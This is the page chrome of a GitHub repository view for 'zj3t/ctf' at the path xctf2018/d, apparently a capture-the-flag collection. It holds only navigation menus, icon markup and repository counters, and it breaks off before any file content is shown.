By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="118874597" data-scoped-search-url="/zj3t/ctf/search" data-owner-scoped-search-url="/users/zj3t/search" data-unscoped-search-url="/search" data-turbo="false" action="/zj3t/ctf/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="PCQX5/e712ASJFiUKiWtFPn7rkVH5EJyCgE1eO3ZHnus0UgQrKvaOmCYIEdmup3kqb+eIXSlgbU0U6nRTTS32A==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> zj3t </span> <span>/</span> ctf <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>3</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>5</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/zj3t/ctf/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":118874597,"originating_url":"https://github.com/zj3t/ctf/tree/master/xctf2018/d","user_id":null}}" data-hydro-click-hmac="6c2eab78364a4539bd16f0281794c50ae7827cfb0c160c5b05619385c8debcdc"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 